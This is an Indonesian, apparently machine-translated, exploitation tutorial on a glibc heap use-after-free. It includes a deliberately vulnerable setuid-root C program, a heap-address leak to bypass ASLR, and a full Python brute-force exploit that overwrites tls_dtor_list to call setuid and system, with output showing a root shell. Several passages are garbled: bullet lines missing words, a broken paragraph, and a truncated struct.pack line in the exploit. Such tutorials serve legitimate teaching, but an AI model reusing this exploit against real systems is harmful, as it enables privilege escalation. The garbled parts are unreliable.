Prasyarat:
- Kerentanan Off-By-One
- Memahami pekerjaan
mallocdiglibc
Konfigurasi mesin virtual: Fedora 20 (x86).
Apa itu Use-After-Free (UaF)?
Bug Use-After-Free terjadi jika penunjuk heap terus digunakan setelah dibebaskan. Kerentanan semacam itu dapat menyebabkan eksekusi kode turunan.
Kode yang rentan:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
Perintah kompilasi:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
Catatan : dibandingkan dengan artikel sebelumnya , di sini ASLR disertakan. Sekarang mari kita manfaatkan bug UaF, dan karena ASLR diaktifkan, mari kita atasi dengan kebocoran informasi dan brute-force.Pada kode di atas, kerentanan use-after-free ditemukan di baris [6] dan [13]. Memori heap terkait dibebaskan di baris [5] dan [10], tetapi pointernya digunakan setelah deallokasi di baris [6] dan [13]! UaF sejalan [6] menyebabkan kebocoran informasi, sejalan [13] - untuk eksekusi kode arbitrer.
Apa itu kebocoran informasi? Bagaimana seorang penyerang dapat memanfaatkannya?
Dalam kode rentan di atas (di baris [6]), kebocoran terjadi di alamat heap. Alamat heap yang bocor akan membantu penyerang untuk dengan mudah mengetahui alamat segmen heap yang dialokasikan secara acak, sehingga melewati ASLR.
Untuk memahami bagaimana kebocoran alamat heap terjadi, pertama-tama mari kita pahami paruh pertama kode rentan.
- Baris [1] mengalokasikan 16 byte memori heap untuk "nama" .
- [2] 16 «details».
- [3] 1 (argv[1]) «name».
- [4] [5] «name» «details» glibc malloc.
- Printf [6] «name» , .
Setelah membaca artikel di bagian Prasyarat, kita tahu bahwa potongan yang sesuai dengan penunjuk "nama" dan "detail" adalah potongan cepat, yang disimpan pada indeks nol dalam sel cepat saat dibebaskan . Kita juga tahu bahwa setiap sel cepat berisi daftar potongan gratis yang ditautkan sendiri. Jadi, kembali ke contoh kita, daftar tertaut tunggal pada indeks nol dalam sel cepat terlihat seperti berikut:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
Karena singularitas, 4 byte pertama dari "name" berisi alamat "details_chunk" . Jadi, ketika "nama" ditampilkan, alamat "details_chunk" ditampilkan terlebih dahulu . Berdasarkan tata letak heap, kita tahu bahwa "details_chunk" diimbangi 0x10 dari alamat heap dasar. Jadi, mengurangi 0x10 dari alamat heap yang bocor akan memberi kita alamat dasarnya!
Bagaimana eksekusi kode arbitrer dicapai?
Sekarang kita memiliki alamat dasar dari segmen heap, mari kita lihat cara mengeksekusi kode arbitrer dengan melihat paruh kedua contoh kita.
- Baris [7] mengalokasikan memori heap 16 byte untuk "tmp" .
- [8] 1024 «p1».
- [9] 1024 «p2».
- [10] «p2» glibc malloc.
- [11] 512 «p2_1».
- [12] 512 «p2_2».
- Read [13] «p2» .
- [14] «p1»
glibc malloc, .
Setelah membaca artikel di bagian Prasyarat , kita tahu bahwa ketika "p2" dilepaskan
glibc malloc, itu digabungkan menjadi bagian teratas. Nanti, ketika memori diminta untuk "p2_1" , itu dialokasikan dari bagian atas dan "p2" dan "p2_2" memiliki alamat heap yang sama. Selanjutnya, ketika memori untuk "p2_2" diminta , itu dialokasikan dari potongan-atas dan "p2_2" berjarak 512 byte dari "p2" . Jadi saat penunjuk "p2"digunakan setelah membebaskan dalam baris [13], data yang dikendalikan oleh penyerang (maksimum 1019 byte) disalin ke "p2_1" , yang hanya berukuran 512 byte, dan oleh karena itu data penyerang yang tersisa menimpa potongan berikutnya "p2_2" , memberikan penyerang kesempatan untuk menimpa bidang ukuran header potongan berikutnya.
Tata letak heap:
Seperti yang kita ketahui dari artikel di bagian Prasyarat , jika penyerang berhasil menulis ulang LSB dari bidang ukuran potongan berikutnya, dia dapat menipu
glibc mallocuntuk memutuskan koneksi dengan potongan p2_1 meskipun dalam status yang dialokasikan. Juga di artikel ituKita telah melihat bahwa melepaskan potongan besar dalam status yang dialokasikan dapat menyebabkan eksekusi kode arbitrer jika penyerang dengan hati-hati merusak header chunk. Penyerang membuat header potongan palsu seperti yang ditunjukkan di bawah ini:
fdharus menunjuk ke alamat potongan yang dibebaskan. Dari diagram heap, kita dapat melihat bahwa "p2_1" berada pada offset 0x410. Makanya,fd = heap_base_address(yang didapat karena kebocoran) + 0x410.bkjuga harus menunjuk ke alamat potongan yang dibebaskan. Dari diagram heap, kita dapat melihat bahwa "p2_1" berada pada offset 0x410. Makanya,fd = heap_base_address(yang didapat karena kebocoran) + 0x410.fd_nextsizetls_dtor_list– 0x14. «tls_dtor_list»private anonymous mapping glibc. , , .bk_nextsize, «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .
Sekarang setelah kita memiliki semua informasi ini, kita dapat menulis exploit untuk menyerang biner "vuln" yang rentan .
Eksploitasi kode:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
Karena kita memerlukan beberapa percobaan selama brute-force (sampai kita berhasil), mari kita jalankan biner "vuln" kita yang rentan sebagai server jaringan dan gunakan skrip shell untuk memastikan bahwa itu secara otomatis restart ketika macet.
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
Menjalankan kode eksploitasi di atas akan memberi Anda hak akses root di shell. Terjadi!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
Sumber:
1. Mengunjungi Kembali Defcon CTF Shitsco Use-After-Free Vulnerability - Eksekusi Kode Jarak Jauh
Analisis bootkit. Pelajaran gratis